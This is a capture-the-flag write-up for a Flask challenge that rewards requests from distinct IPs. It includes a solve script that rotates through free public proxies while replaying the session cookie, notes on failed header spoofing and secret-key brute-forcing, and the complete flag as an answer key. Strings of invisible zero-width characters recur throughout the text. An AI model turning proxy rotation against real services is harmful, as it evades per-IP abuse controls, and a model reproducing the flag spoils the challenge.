← Back to Writeups
CUSTOMEasyWeb

Вокруг света

XESXOR9/10/20264 min read
#web#custom#easy#ip_based_access_control_bypass#proxy_rotation#session_cookie_replay

Вокруг света

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: ip_based_access_control_bypass, proxy_rotation, session_cookie_replay

Summary

Task: Flask app reveals flag parts one per unique visitor IP, tracked via signed session cookie. Solution: rotate requests through free HTTP proxies while replaying the session cookie to accumulate IPs and collect all 9 flag parts.

Вокруг света — bug-makers

Description

Вокруг света за 80 дней минуту! Путешествовать всегда хорошо! Сувениры там всякие привозишь, диковинки всякие наблюдаешь. Но не всегда получается выкроить время :( Так что отправимся в путешествие виртуальное, а вместо сувениров - куски флагов! Пока все не объедешь, флаг не получишь!

English summary: "Around the world in 80 days minutes!" — a virtual travel challenge where you collect flag pieces as souvenirs. You must visit from enough different locations to collect all flag parts. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: http://31.207.77.216:4018

Analysis

Server fingerprinting

The server runs Werkzeug/2.3.7 Python/3.9.24 (Flask). Only GET / is valid — all other paths return 404, all other methods return 405.

Session cookie structure

The Flask signed session cookie decodes (base64) to a JSON payload:

json
{"addresses": ["147.45.101.108"]}

Each time a request arrives from a new unique IP address, the server:

  1. Adds the IP to the addresses list in the session
  2. Returns the next flag part in the response body (e.g., flag part #2 {Tha7_)
  3. Re-signs the cookie with the updated addresses list ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag is split into 9 parts. After all parts are collected, the server responds: "You already have whole flag!"

IP detection mechanism

The app uses request.remote_addr — the actual TCP connection source IP. This means HTTP header spoofing does not work:

  • X-Forwarded-For — no effect
  • X-Real-IP — no effect
  • X-Client-IP, CF-Connecting-IP, True-Client-IP, X-Originating-IP — no effect
  • Forwarded header — no effect
  • Client-IP, X-Remote-Addr — no effect
  • Multiple X-Forwarded-For values (ProxyFix bypass attempt) — no effect ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Flask secret key

Attempted brute-force with flask-unsign using rockyou.txt, common credential lists, and theme-related guesses ("aroundtheworld", "80days", etc.) — the secret key was not found. Cookie forgery was not viable.

Other dead ends

  • Werkzeug debug console (/console) — not enabled
  • Source code leaks (.git/, .env, app.py, Dockerfile, requirements.txt) — all 404

Solution

Since the app checks the actual TCP source IP, the only way to appear from different IPs is to route requests through different proxy servers while replaying the session cookie to maintain state. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Approach

  1. Fetch a list of free HTTP proxies from public APIs
  2. Make the initial request directly to get part #1 and the session cookie
  3. For each subsequent part, use a different proxy while sending the accumulated session cookie
  4. The server sees a new remote_addr, adds it to the session, and returns the next flag part
  5. Repeat until all 9 parts are collected

Solve script

python
#!/usr/bin/env python3
"""
Solve: Вокруг света (Around the World) — bug-makers CTF
Collect flag parts by visiting from different IPs via proxy rotation.
"""
import requests
import re
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

url = "http://31.207.77.216:4018"

# Fetch free proxy lists
all_proxies = []
proxy_sources = [
    "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=3000&country=all&ssl=all&anonymity=all",
    "https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt",
]
for source in proxy_sources:
    try:
        r = requests.get(source, timeout=10)
        all_proxies.extend([p.strip() for p in r.text.strip().split('\n') if p.strip()])
    except Exception:
        pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"[*] Loaded {len(all_proxies)} proxies")

# Get initial session cookie (part #1 from our own IP)
r = requests.get(url, timeout=5)
current_cookie = r.cookies.get('session')
collected = {1: "BugCTF"}
print(f"[+] Part #1: BugCTF (direct request)")

# Rotate through proxies to collect remaining parts
tried = set()
for proxy in all_proxies:
    if proxy in tried:
        continue
    tried.add(proxy)
    try:
        r = requests.get(
            url,
            proxies={"http": f"http://{proxy}"},
            cookies={"session": current_cookie},
            timeout=4,
        )
        # Update session cookie
        new_cookie = r.cookies.get('session')
        if new_cookie:
            current_cookie = new_cookie
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        # Extract flag part
        match = re.search(r'flag part #(\d+)\s+(.*?)(?:<br>|<)', r.text)
        if match:
            num = int(match.group(1))
            text = match.group(2).strip()
            if num not in collected:
                collected[num] = text
                print(f"[+] Part #{num}: {text} (via {proxy})")

                # Check if flag is complete
                flag = ''.join(collected[k] for k in sorted(collected.keys()))
                if '}' in flag:
                    print(f"\n[!] FLAG: {flag}")
                    break
    except Exception:
        continue
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"\n[*] Tried {len(tried)} proxies, collected {len(collected)}/9 parts")

Flag parts

#Part
1BugCTF
2{Tha7_
3wa5_th
4e_f@st
5e5t_tR
61P_ar0
7UnD_th
8e_W0r1
9d!}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍